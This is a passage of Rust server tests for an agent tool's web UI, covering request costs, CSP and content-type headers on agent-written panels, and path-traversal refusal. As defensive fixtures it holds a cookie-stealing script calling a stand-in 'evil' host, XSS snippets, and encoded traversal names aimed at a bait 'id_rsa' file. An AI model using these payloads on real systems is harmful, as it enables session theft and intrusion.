11768                .join(&state.id)
11769                .join("artifacts/eviction-review-1.json"),
11770            serde_json::to_vec(&record).unwrap(),
11771        )
11772        .unwrap();
11773        std::fs::remove_dir_all(&repo).unwrap();
11774        let url = format!("/api/runs/{}/seat-evidence", state.id);
11775        let list = fx.get(&url).await;
11776        assert_eq!(list.status, 200, "{}", list.body);
11777        assert_eq!(list.json()[&head], "review-1");
11778        let patch = fx.get(&format!("{url}/{head}")).await;
11779        assert_eq!(patch.status, 200, "{}", patch.body);
11780        assert!(patch.body.contains("+archived review"));
11781        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11782        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11783        assert_eq!(fx.get(&url).await.status, 404);
11784        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11785    }
11786
11787    fn request_counts(res: &Res) -> (usize, usize) {
11788        assert_eq!(res.status, 200, "{}", res.body);
11789        (
11790            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11791            res.header("x-test-git").unwrap().parse().unwrap(),
11792        )
11793    }
11794
11795    #[tokio::test]
11796    async fn list_request_cost_is_independent_of_record_count() {
11797        let (_tmp, repos, fx) = performance_fixture().await;
11798        let mut previous = None;
11799        for n in [4, 60] {
11800            seed_performance(&fx, &repos, n, n, n);
11801            let mut costs = Vec::new();
11802            for (path, discoveries) in [
11803                ("/api/questions", 1),
11804                ("/api/talks", 0),
11805                ("/api/health", 0),
11806                ("/api/stats", 1),
11807            ] {
11808                // Equal cold extraction caches at both scales; this also
11809                // bounds first-request cost instead of only warmed requests.
11810                for repo in &repos {
11811                    let cache = repo.join(".git/magi/config");
11812                    if cache.exists() {
11813                        std::fs::remove_dir_all(cache).unwrap();
11814                    }
11815                }
11816                let cost = request_counts(&fx.get(path).await);
11817                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11818                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11819                assert!(
11820                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11821                    "{path}: {cost:?}"
11822                );
11823                costs.push(cost);
11824            }
11825            if let Some(previous) = previous {
11826                assert_eq!(costs, previous);
11827            }
11828            previous = Some(costs);
11829        }
11830        // runs reads shared row inputs and probes process liveness; queue
11831        // builds one blocker inventory; notifications reads its own store.
11832        // None discovers configuration or spawns git per item.
11833    }
11834
11835    /// The same handler path without transport, so the deterministic cause
11836    /// can also be checked in environments that prohibit binding sockets.
11837    #[tokio::test]
11838    async fn list_handler_cost_without_transport() {
11839        let (_tmp, repos) = performance_repositories().await;
11840        let fx = Fixture {
11841            home: TempDir::new().unwrap(),
11842            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11843        };
11844        let ui = Arc::new(
11845            Ui::new(
11846                fx.queue(),
11847                fx.questions(),
11848                fx.talks(),
11849                fx.runs(),
11850                fx.home.path().to_path_buf(),
11851                repos[0].clone(),
11852            )
11853            .with_worktrees_root(fx.home.path().join("wt")),
11854        );
11855        let mut previous = None;
11856        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11857            seed_performance(&fx, &repos, n, runs, items);
11858            let mut costs = Vec::new();
11859            for endpoint in ["questions", "talks", "health", "stats"] {
11860                for repo in &repos {
11861                    let cache = repo.join(".git/magi/config");
11862                    if cache.exists() {
11863                        std::fs::remove_dir_all(cache).unwrap();
11864                    }
11865                }
11866                let (_, cost) = request_cost::measure(async {
11867                    match endpoint {
11868                        "questions" => {
11869                            let _ = questions_list(State(ui.clone())).await.unwrap();
11870                        }
11871                        "talks" => {
11872                            let _ = talks_list(
11873                                State(ui.clone()),
11874                                Query(ListQuery {
11875                                    limit: None,
11876                                    ids: None,
11877                                }),
11878                                header::HeaderMap::new(),
11879                            )
11880                            .await
11881                            .unwrap();
11882                        }
11883                        "health" => {
11884                            let _ = health(State(ui.clone())).await.unwrap();
11885                        }
11886                        _ => {
11887                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11888                                .await
11889                                .unwrap();
11890                        }
11891                    }
11892                })
11893                .await;
11894                eprintln!("{endpoint} handler N={n}: {cost:?}");
11895                assert_eq!(
11896                    cost.0,
11897                    if matches!(endpoint, "talks" | "health") {
11898                        0
11899                    } else {
11900                        1
11901                    },
11902                    "{endpoint}"
11903                );
11904                assert!(
11905                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11906                    "{endpoint}: {cost:?}"
11907                );
11908                costs.push(cost);
11909            }
11910            if let Some(previous) = previous {
11911                assert_eq!(costs, previous);
11912            }
11913            previous = Some(costs);
11914        }
11915    }
11916
11917    #[tokio::test]
11918    async fn list_request_cost_scopes_do_not_mix() {
11919        let (_tmp, repos, fx) = performance_fixture().await;
11920        seed_performance(&fx, &repos, 10, 0, 10);
11921        let (questions, talks, notices) = tokio::join!(
11922            fx.get("/api/questions"),
11923            fx.get("/api/talks"),
11924            fx.get("/api/notifications")
11925        );
11926        assert_eq!(request_counts(&questions).0, 1);
11927        // Cached summaries perform no config discovery or git work, even
11928        // alongside the questions request that still discovers config.
11929        assert_eq!(request_counts(&talks), (0, 0));
11930        assert_eq!(request_counts(&notices), (0, 0));
11931    }
11932
11933    #[tokio::test]
11934    async fn list_endpoints_large_home_responses() {
11935        check_large_home_endpoints(false).await;
11936    }
11937
11938    #[tokio::test]
11939    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11940    async fn list_endpoints_large_home_ceiling() {
11941        check_large_home_endpoints(true).await;
11942    }
11943
11944    async fn check_large_home_endpoints(timed: bool) {
11945        let (_tmp, repos, fx) = performance_fixture().await;
11946        seed_performance(&fx, &repos, 200, 300, 400);
11947        let mut failures = Vec::new();
11948        // app.js boot/change loads plus the initial dashboard, settings and
11949        // repo picker. SSE is a persistent stream, not a bounded GET.
11950        for path in [
11951            "/",
11952            "/app.js",
11953            "/app.css",
11954            "/api/questions",
11955            "/api/runs?limit=300",
11956            "/api/queue",
11957            "/api/talks",
11958            "/api/notifications",
11959            "/api/health",
11960            "/api/stats",
11961            "/api/loop",
11962            "/api/settings",
11963            "/api/repos",
11964        ] {
11965            let start = std::time::Instant::now();
11966            let result = if timed {
11967                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11968            } else {
11969                Ok(fx.get(path).await)
11970            };
11971            let elapsed = start.elapsed();
11972            eprintln!("{path}: {elapsed:?}");
11973            match result {
11974                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11975                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11976                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11977            }
11978        }
11979        assert!(failures.is_empty(), "{}", failures.join("\n"));
11980    }
11981
11982    struct Res {
11983        status: u16,
11984        headers: String,
11985        /// The header block with its original casing, for the assertions that
11986        /// compare a header *value* rather than looking for a name. Lowercasing
11987        /// a CSP would hide a directive spelled with a capital letter, and the
11988        /// whole point of that test is that the string is exactly right.
11989        head: String,
11990        body: String,
11991        /// The body before any UTF-8 handling, for the routes that serve
11992        /// something other than text. A panel asset is a PNG as often as not,
11993        /// and `from_utf8_lossy` would silently replace half of it.
11994        bytes: Vec<u8>,
11995    }
11996
11997    impl Res {
11998        fn json(&self) -> Value {
11999            serde_json::from_str(&self.body)
12000                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12001        }
12002
12003        /// One header's value verbatim, or `None` when it was not sent.
12004        fn header(&self, name: &str) -> Option<&str> {
12005            self.head.lines().find_map(|line| {
12006                let (key, value) = line.split_once(':')?;
12007                key.trim()
12008                    .eq_ignore_ascii_case(name)
12009                    .then(|| value.trim_start().trim_end_matches('\r'))
12010            })
12011        }
12012    }
12013
12014    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12015    /// be read to end-of-stream without parsing framing.
12016    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12017        request_with(addr, method, path, body, &[]).await
12018    }
12019
12020    /// As [`request`], with extra request headers - conditional GETs need
12021    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12022    /// worse than one that sets none.
12023    async fn request_with(
12024        addr: SocketAddr,
12025        method: &str,
12026        path: &str,
12027        body: Option<&str>,
12028        extra: &[(&str, &str)],
12029    ) -> Res {
12030        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12031        for (name, value) in extra {
12032            head.push_str(&format!("{name}: {value}\r\n"));
12033        }
12034        if let Some(body) = body {
12035            head.push_str("Content-Type: application/json\r\n");
12036            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12037        }
12038        head.push_str("\r\n");
12039        if let Some(body) = body {
12040            head.push_str(body);
12041        }
12042        let mut socket = tokio::net::TcpStream::connect(addr)
12043            .await
12044            .expect("connect to the test server");
12045        socket
12046            .write_all(head.as_bytes())
12047            .await
12048            .expect("write request");
12049        let mut raw = Vec::new();
12050        socket.read_to_end(&mut raw).await.expect("read response");
12051        // Split on the raw bytes rather than on a lossy string, so a binary
12052        // body survives to be compared byte for byte.
12053        let split = raw
12054            .windows(4)
12055            .position(|w| w == b"\r\n\r\n")
12056            .expect("a header block");
12057        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12058        let bytes = raw[split + 4..].to_vec();
12059        let status = head
12060            .lines()
12061            .next()
12062            .and_then(|line| line.split_whitespace().nth(1))
12063            .and_then(|code| code.parse().ok())
12064            .expect("a status line");
12065        Res {
12066            status,
12067            headers: head.to_lowercase(),
12068            head,
12069            body: String::from_utf8_lossy(&bytes).into_owned(),
12070            bytes,
12071        }
12072    }
12073
12074    /// A `POST` carrying a raw binary body and its own headers, for the
12075    /// attachment upload route - `request_with` only ever sends
12076    /// `Content-Type: application/json`, which is wrong for an image and
12077    /// would corrupt anything not valid UTF-8 by round-tripping it through
12078    /// `&str` first.
12079    async fn request_bytes(
12080        addr: SocketAddr,
12081        path: &str,
12082        headers: &[(&str, &str)],
12083        body: &[u8],
12084    ) -> Res {
12085        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12086        for (name, value) in headers {
12087            head.push_str(&format!("{name}: {value}\r\n"));
12088        }
12089        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12090        let mut socket = tokio::net::TcpStream::connect(addr)
12091            .await
12092            .expect("connect to the test server");
12093        socket
12094            .write_all(head.as_bytes())
12095            .await
12096            .expect("write request head");
12097        socket.write_all(body).await.expect("write request body");
12098        let mut raw = Vec::new();
12099        socket.read_to_end(&mut raw).await.expect("read response");
12100        let split = raw
12101            .windows(4)
12102            .position(|w| w == b"\r\n\r\n")
12103            .expect("a header block");
12104        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12105        let bytes = raw[split + 4..].to_vec();
12106        let status = head
12107            .lines()
12108            .next()
12109            .and_then(|line| line.split_whitespace().nth(1))
12110            .and_then(|code| code.parse().ok())
12111            .expect("a status line");
12112        Res {
12113            status,
12114            headers: head.to_lowercase(),
12115            head,
12116            body: String::from_utf8_lossy(&bytes).into_owned(),
12117            bytes,
12118        }
12119    }
12120
12121    /// A run on disk, without touching the process-global magi home.
12122    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12123        let mut state = RunState::new(
12124            PathBuf::from("/repo/magi"),
12125            "main".to_owned(),
12126            "0123456789abcdef".to_owned(),
12127            "Add a web UI\n\nMobile first.".to_owned(),
12128            Config::default(),
12129        );
12130        state.id = id.to_owned();
12131        state.status = status;
12132        let dir = runs.join(id);
12133        std::fs::create_dir_all(&dir).expect("run dir");
12134        std::fs::write(
12135            dir.join("run.json"),
12136            serde_json::to_string_pretty(&state).expect("serialize run"),
12137        )
12138        .expect("write run.json");
12139    }
12140
12141    /// Same as [`write_run`], but against a named repository rather than the
12142    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12143    /// spread across more than one.
12144    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12145        let mut state = RunState::new(
12146            PathBuf::from(repo),
12147            "main".to_owned(),
12148            "0123456789abcdef".to_owned(),
12149            "task".to_owned(),
12150            Config::default(),
12151        );
12152        state.id = id.to_owned();
12153        state.status = status;
12154        let dir = runs.join(id);
12155        std::fs::create_dir_all(&dir).expect("run dir");
12156        std::fs::write(
12157            dir.join("run.json"),
12158            serde_json::to_string_pretty(&state).expect("serialize run"),
12159        )
12160        .expect("write run.json");
12161    }
12162
12163    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12164        let body = serde_json::json!({
12165            "schema": 1,
12166            "pid": 4242,
12167            "started_at": Timestamp::now().to_string(),
12168            "updated_at": updated_at.to_string(),
12169            "idle": false,
12170            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12171            "completed": 7,
12172            "polls": 143,
12173        });
12174        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12175    }
12176
12177    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12178    ///
12179    /// No test in this file may start the real loop - see [`Ui::launch`] for
12180    /// why - so this stands in for the only thing the routes need a loop to
12181    /// do: keep running until `Stop` is set, then return. A real
12182    /// `serve_until` here would resolve its queue and its status file through
12183    /// the process-global magi home, claim whatever it found in the
12184    /// operator's live backlog, overwrite the status file of the `magi serve`
12185    /// that owns it, and spend real agent quota on a real competition.
12186    fn launch_idle(
12187        _opts: daemon::Opts,
12188        stop: daemon::Stop,
12189    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12190        Box::pin(async move {
12191            while !stop.stopped() {
12192                tokio::time::sleep(Duration::from_millis(2)).await;
12193            }
12194            Ok(())
12195        })
12196    }
12197
12198    /// A loop that fails on the way up, the way one whose home has gone
12199    /// read-only does.
12200    fn launch_broken(
12201        _opts: daemon::Opts,
12202        _stop: daemon::Stop,
12203    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12204        // The stand-in dies instantly, so a restarted one can record its own
12205        // failure before the start's response is read. The second attempt
12206        // therefore fails with a different message, to tell a stale error
12207        // from a fresh one.
12208        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12209        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12210        Box::pin(async move {
12211            Err(anyhow::anyhow!(if first {
12212                "publish the daemon status file: read-only file system"
12213            } else {
12214                "the restarted stand-in failed as well"
12215            }))
12216        })
12217    }
12218
12219    /// The loop view once `want` accepts it.
12220    ///
12221    /// Polled rather than asserted straight after the POST because stopping
12222    /// is deliberately not instant - that is the contract - and rather than
12223    /// slept through because a fixed wait is either flaky or slow.
12224    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12225    /// finite, so a genuine hang fails the test instead of hanging the
12226    /// suite.
12227    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12228        for _ in 0..SETTLE_STEPS {
12229            let view = fx.get("/api/loop").await.json();
12230            if want(&view) {
12231                return view;
12232            }
12233            tokio::time::sleep(Duration::from_millis(10)).await;
12234        }
12235        panic!(
12236            "the loop never settled: {}",
12237            fx.get("/api/loop").await.json()
12238        );
12239    }
12240
12241    /// File an open question directly in the store the server reads.
12242    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12243        let store = fx.questions();
12244        let mut q = Question::new(
12245            "20260902-000000-beef".to_owned(),
12246            "implement".to_owned(),
12247            "impl-A".to_owned(),
12248            summary.to_owned(),
12249            "because it matters".to_owned(),
12250            choices.iter().map(|c| (*c).to_owned()).collect(),
12251        );
12252        store.put(&mut q).expect("put question");
12253        q.id
12254    }
12255
12256    /// A question with a panel the server can serve, plus the named assets.
12257    ///
12258    /// Written through `Questions::put_panel` rather than by laying out the
12259    /// directory here, so these tests exercise the same on-disk shape the
12260    /// agents produce and cannot pass against a layout only the tests know.
12261    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12262        let store = fx.questions();
12263        let mut q = Question::new(
12264            "20260902-000000-beef".to_owned(),
12265            "land".to_owned(),
12266            "fix".to_owned(),
12267            "Merge this?".to_owned(),
12268            "the diff is in the panel".to_owned(),
12269            vec!["merge".to_owned(), "hold".to_owned()],
12270        );
12271        // Staged outside the questions root, because `put_panel` copies from
12272        // wherever the agent left its files.
12273        let staging = fx.home.path().join("staging");
12274        std::fs::create_dir_all(&staging).expect("staging dir");
12275        let sources: Vec<PathBuf> = assets
12276            .iter()
12277            .map(|(name, bytes)| {
12278                let path = staging.join(name);
12279                std::fs::write(&path, bytes).expect("write staged asset");
12280                path
12281            })
12282            .collect();
12283        store
12284            .put_panel(&mut q, html, &sources)
12285            .expect("write the panel");
12286        store.put(&mut q).expect("put question");
12287        q.id
12288    }
12289
12290    /// A talk on disk, without talking to a model.
12291    ///
12292    /// Written as JSON straight into the store the server reads, because the
12293    /// only constructor `talk::begin` offers takes no turn but still requires
12294    /// a real caller-visible flow. The one thing this cannot make up is the
12295    /// seat, so it is built with the real `SeatState::new` and serialized -
12296    /// the alternative, hand-writing that object, would make these tests fail
12297    /// the day the seat gains a field.
12298    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12299        seed_talk_at(&fx.talks(), id, status)
12300    }
12301
12302    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12303        std::fs::create_dir_all(store.root()).expect("talks dir");
12304        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12305            .expect("serialize a seat");
12306        let body = serde_json::json!({
12307            "schema": 1,
12308            "id": id,
12309            "repo": "/repo/magi",
12310            "agent": "mock",
12311            "status": status,
12312            "turns": [],
12313            "created_at": Timestamp::now().to_string(),
12314            "updated_at": Timestamp::now().to_string(),
12315            "seat": seat,
12316        });
12317        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12318        store.get(id).expect("the seeded talk has to be readable");
12319        id.to_owned()
12320    }
12321
12322    #[tokio::test]
12323    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12324        let fx = Fixture::start().await;
12325        let id = panel(
12326            &fx,
12327            "<h1>Merge?</h1><img src=\"diff.svg\">",
12328            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12329        );
12330
12331        for path in [
12332            format!("/api/questions/{id}/panel"),
12333            format!("/api/questions/{id}/asset/diff.svg"),
12334        ] {
12335            let res = fx.get(&path).await;
12336            assert_eq!(res.status, 200, "{path}: {}", res.body);
12337            // The whole string, not a substring. A weakened directive - an
12338            // `img-src *` that lets a panel beacon out to a remote host, a
12339            // `script-src` anything, a missing `form-action` that lets it post
12340            // the owner's decision to a third party - has to fail here, and a
12341            // `contains` assertion would let every one of those through.
12342            assert_eq!(
12343                res.header("content-security-policy"),
12344                Some(
12345                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12346                     font-src data:; base-uri 'none'; form-action 'none'; \
12347                     frame-ancestors 'self'"
12348                ),
12349                "{path} is the only thing between a hostile panel and the tailnet"
12350            );
12351            assert_eq!(
12352                res.header("x-content-type-options"),
12353                Some("nosniff"),
12354                "{path}: a browser must not re-decide the type we sent"
12355            );
12356            assert_eq!(
12357                res.header("referrer-policy"),
12358                Some("no-referrer"),
12359                "{path}: a panel must not leak the question id off the machine"
12360            );
12361
12362            // The front end mounts the frame only after a `HEAD` says the
12363            // panel is there, so `HEAD` has to answer with the same status and
12364            // the same policy as `GET` - a preflight that came back without
12365            // the CSP would mean a frame mounted on an unverified promise.
12366            let pre = fx.head(&path).await;
12367            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12368            assert_eq!(
12369                pre.header("content-security-policy"),
12370                res.header("content-security-policy"),
12371                "{path}: the preflight carries the same policy"
12372            );
12373            assert_eq!(
12374                pre.header("content-type"),
12375                res.header("content-type"),
12376                "{path}: the preflight carries the same type"
12377            );
12378        }
12379    }
12380
12381    #[tokio::test]
12382    async fn a_panel_reaches_the_browser_byte_for_byte() {
12383        let fx = Fixture::start().await;
12384        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12385        // tag, an entity, and a multi-byte character. The sandbox is what makes
12386        // this safe, so nothing here may be rewritten on the way out - a
12387        // rewritten diff is a diff the owner cannot trust.
12388        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12389        let id = panel(&fx, html, &[]);
12390
12391        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12392
12393        assert_eq!(res.status, 200);
12394        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12395        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12396        assert_eq!(
12397            res.header("content-disposition"),
12398            None,
12399            "the panel itself is rendered in the frame, not downloaded"
12400        );
12401    }
12402
12403    #[tokio::test]
12404    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12405        let fx = Fixture::start().await;
12406        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12407        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12408        let id = panel(
12409            &fx,
12410            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12411            &[("diff.svg", svg), ("shot.png", png)],
12412        );
12413
12414        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12415        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12416
12417        assert_eq!(as_svg.status, 200);
12418        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12419        // An SVG is XML that may carry script. Inside the panel it is an
12420        // `<img src>` and the script cannot run; opened at the top level it
12421        // would be a document on magi's own origin, so the browser is told to
12422        // download it instead of rendering it.
12423        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12424
12425        assert_eq!(as_png.status, 200);
12426        assert_eq!(as_png.header("content-type"), Some("image/png"));
12427        assert_eq!(
12428            as_png.header("content-disposition"),
12429            None,
12430            "a raster image has no execution surface, so tapping it still shows it"
12431        );
12432        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12433    }
12434
12435    #[tokio::test]
12436    async fn an_html_asset_is_never_served_as_html() {
12437        let fx = Fixture::start().await;
12438        let id = panel(
12439            &fx,
12440            "<p>see the notes</p>",
12441            &[
12442                (
12443                    "notes.html",
12444                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12445                ),
12446                ("hook.js", b"fetch('http://evil/')"),
12447                ("data.json", b"{}"),
12448                ("HEADLINE.TXT", b"plain"),
12449            ],
12450        );
12451
12452        for name in ["notes.html", "hook.js", "data.json"] {
12453            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12454            assert_eq!(res.status, 200, "{name}: {}", res.body);
12455            // Serving this as text/html would be a way to reach agent markup
12456            // at the top level of the operator's browser, outside the frame's
12457            // sandbox and outside its CSP - which is the whole thing the panel
12458            // design exists to prevent. Unlisted types are downloads.
12459            assert_eq!(
12460                res.header("content-type"),
12461                Some("application/octet-stream"),
12462                "{name} must not be a type the browser will execute or render"
12463            );
12464        }
12465        // The whitelist is matched case-insensitively, so an agent shouting the
12466        // extension still gets a readable file rather than a download.
12467        let txt = fx
12468            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12469            .await;
12470        assert_eq!(
12471            txt.header("content-type"),
12472            Some("text/plain; charset=utf-8")
12473        );
12474    }
12475
12476    #[tokio::test]
12477    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12478        let fx = Fixture::start().await;
12479        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12480        // Something outside the panel directory that a traversal would reach if
12481        // one got through, so a passing test is not merely "the file was
12482        // missing anyway".
12483        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12484
12485        // Decoded before this server's handler sees them: axum percent-decodes
12486        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12487        // string with a NUL in it. All three look like ordinary single-segment
12488        // filenames to the router, so the router passes them through and
12489        // `valid_asset_name` is what refuses them - for the literal `..`, and
12490        // for `/`, `\` and NUL not being in the permitted character set.
12491        for encoded in [
12492            "%2e%2e%2fid_rsa",
12493            "..%2fid_rsa",
12494            "..%5cid_rsa",
12495            "%2e%2e%5cid_rsa",
12496            "diff%00.svg",
12497            "..",
12498            ".hidden",
12499            "%2e%2e%2f%2e%2e%2fid_rsa",
12500        ] {
12501            let res = fx
12502                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12503                .await;
12504            assert_eq!(
12505                res.status, 400,
12506                "`{encoded}` has to be refused by name, not looked up: {}",
12507                res.body
12508            );
12509            assert!(res.json()["error"].is_string(), "{}", res.body);
12510        }
12511
12512        // Not decoded, and never this handler's problem: a real slash makes the
12513        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12514        // so axum's router has no route to match and answers before any code
12515        // here runs. Asserted so that a future route with a wildcard segment
12516        // cannot quietly open this door.
12517        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12518            let res = fx
12519                .get(&format!("/api/questions/{id}/asset/{literal}"))
12520                .await;
12521            assert_eq!(
12522                res.status, 404,
12523                "`{literal}` must not match the asset route at all: {}",
12524                res.body
12525            );
12526        }
12527    }
12528
12529    #[tokio::test]
12530    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12531        let fx = Fixture::start().await;
12532        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12533        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12534
12535        // A question nobody wrote a panel for. The client preflights with HEAD
12536        // and cannot see inside a sandboxed frame, so this must be a status and
12537        // not an empty page.
12538        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12539        assert_eq!(none.status, 404, "{}", none.body);
12540        assert!(none.json()["error"].is_string(), "{}", none.body);
12541        assert_eq!(
12542            fx.head(&format!("/api/questions/{plain}/panel"))
12543                .await
12544                .status,
12545            404,
12546            "the preflight is the only way the client can learn this"
12547        );
12548
12549        // A name that is perfectly legal and simply is not there.
12550        let missing = fx
12551            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12552            .await;
12553        assert_eq!(missing.status, 404, "{}", missing.body);
12554        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12555
12556        // A question that does not exist at all, on both routes.
12557        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12558        assert_eq!(
12559            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12560            404
12561        );
12562    }
12563
12564    #[tokio::test]
12565    async fn a_run_with_an_open_question_reads_as_waiting() {
12566        let fx = Fixture::start().await;
12567        let run = "20260902-000000-beef".to_owned();
12568        write_run(&fx.runs(), &run, RunStatus::Implementing);
12569
12570        let before = fx.get("/api/runs").await.json();
12571        assert_eq!(before[0]["waiting"], false, "{before}");
12572
12573        let store = fx.questions();
12574        let mut q = Question::new(
12575            run.clone(),
12576            "implement".to_owned(),
12577            "impl-A".to_owned(),
12578            "Which backend?".to_owned(),
12579            String::new(),
12580            vec!["SQLite".to_owned()],
12581        );
12582        store.put(&mut q).expect("put");
12583
12584        let during = fx.get("/api/runs").await.json();
12585        assert_eq!(during[0]["waiting"], true, "{during}");
12586
12587        // Answered: the run is moving again, and the flag has to follow without
12588        // anything having rewritten run.json.
12589        q.answer(Answer::Choice("SQLite".to_owned()))
12590            .expect("answer");
12591        store.put(&mut q).expect("put");
12592        let after = fx.get("/api/runs").await.json();
12593        assert_eq!(after[0]["waiting"], false, "{after}");
12594    }
12595
12596    #[tokio::test]
12597    async fn an_open_question_is_listed_and_counted_by_health() {
12598        let fx = Fixture::start().await;
12599        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12600
12601        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12602        let listed = fx.get("/api/questions").await.json();
12603        assert_eq!(listed.as_array().expect("array").len(), 1);
12604        assert_eq!(listed[0]["id"], id);
12605        assert_eq!(listed[0]["status"], "open");
12606        assert_eq!(listed[0]["choices"][1], "Redis");
12607        // The count is what makes the phone's indicator honest: it is the one
12608        // number meaning nothing will move until a human acts.
12609        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12610    }
12611
12612    fn obsolete_approval_state() -> RunState {
12613        let mut state = crate::land::tests::repair_state(true, true);
12614        state.pr = Some(crate::run::PrRecord {
12615            url: "https://github.com/example/repo/pull/42".into(),
12616            number: 42,
12617            state: "open".into(),
12618            checks: "green".into(),
12619            round: 1,
12620            rounds: 4,
12621            red_at_merge: Vec::new(),
12622        });
12623        state
12624    }
12625
12626    #[tokio::test]
12627    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12628        for owner in ["missing", "current", "completed", "later"] {
12629            let fx = Fixture {
12630                home: TempDir::new().unwrap(),
12631                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12632            };
12633            let mut state = obsolete_approval_state();
12634            state.status = RunStatus::Landing;
12635            state.parked = true;
12636            state.driver_exited = true;
12637            let mut q = Question::new(
12638                state.id.clone(),
12639                crate::land::APPROVAL_NODE.into(),
12640                "land".into(),
12641                "Old approval".into(),
12642                "Original evidence".into(),
12643                vec!["merge".into(), "hold".into()],
12644            );
12645            state.land_approval = Some(crate::run::LandApproval {
12646                question: q.id.clone(),
12647                head: "head".into(),
12648            });
12649            state.save_under(fx.home.path()).unwrap();
12650            let stale = state.clone();
12651            fx.questions().put(&mut q).unwrap();
12652            let mut task = Task::new(
12653                "Owner".into(),
12654                "Original instruction".into(),
12655                state.repo.clone(),
12656                Source::Human,
12657            );
12658            task.runs.push(state.id.clone());
12659            task.status = if owner == "completed" {
12660                TaskStatus::Done
12661            } else {
12662                TaskStatus::Parked
12663            };
